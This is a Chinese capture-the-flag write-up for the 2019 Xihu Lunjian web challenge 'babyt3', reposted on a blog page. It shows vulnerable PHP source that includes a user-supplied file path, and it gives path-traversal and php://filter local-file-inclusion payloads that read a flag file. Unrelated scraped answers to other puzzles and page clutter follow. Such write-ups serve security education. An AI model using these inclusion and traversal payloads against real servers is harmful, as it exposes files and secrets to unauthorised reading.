2019西湖论剑预选赛部分WP

Web

babyt3

点进链接发现提示

include $_GET['file']

估计是文件包含漏洞

尝试包含index.php,发现一串base64编码,解码得到

<?php
    $a = @$_GET['file']; 
    if (!$a) { 
        $a = './templates/index.html'; 
    } 
    echo 'include $_GET[\'file\']';
     if (strpos('flag',$a)!==false) {  
        die('nonono'); 
    } 
    include $a; 
?>  
<!--hint: ZGlyLnBocA== -->             

继续解码hint,得到dir.php,继续尝试包含dir.php,又是一串base64,继续解码

<?php 
    $a = @$_GET['dir']; 
    if(!$a){ 
        $a = '/tmp'; 
    } 
var_dump(scandir($a));

用dir参数遍历目录 dir.php?dir=../../../

读取文件 ?file=../../../ffffflag_1s_Her4

或者继续伪协议读取?file=php://filter/read=convert.base64-encode/resource=../../../ffffflag_1s_Her4  然后再base64解码。

flag{8dc25fd21c52958f777ce92409e2802a}

 

转载于:https://www.cnblogs.com/gzs-monkey/p/10699536.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
引用:这题是关于统计数字1出现次数的问题。题目要求找出一个数,使得从1到这个数之间的所有整数中1出现的次数正好等于2021次。可以通过遍历数字1到一个稍大的数,统计每个数中1的个数,直到满足条件为止。具体代码如下: count = 0 ans = '' for i in range(10000): tmp = str(i) count = count + tmp.count('1') if count == 2021: print(i) break if count > 2021: print(i-1) break 引用:这题的难度级别是简单,主要考察了input函数、in运算、条件分支语句和print函数的使用。首先,input函数用于接受标准输入数据,并返回为字符串类型。其次,in运算可用于判断某个字符或者字符串是否存在于另一个字符串中。然后,条件分支语句if...else用于根据条件的真假执行不同的代码分支。最后,print函数用于打印输出结果。在解题过程中,需要掌握字符串操作和条件判断语句的使用。 引用:这题是关于直线斜率的计算问题。题目给出了一组点的坐标,需要计算通过这些点的直线斜率有多少种不同的情况。可以通过遍历所有的点对,计算它们之间的斜率,并将斜率和截距作为一个元组加入到一个集合中,最后返回集合的长度即可。具体代码如下: X = [] Y = [] for i in range(20): X.append(i) for i in range(21): Y.append(i) ans = set() def calculate_slope(x1, x2, y1, y2): if x1 == x2: return tmp = ((y1-y2)/(x1-x2)) b = 0.5*(y1 + y2) - 0.5*tmp*(x1 + x2) b = round(b, 4) ans.add((tmp, b)) for i in range(20): for j in range(21): for x in range(20): for y in range(21): calculate_slope(i, x, j, y) print(len(ans))

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值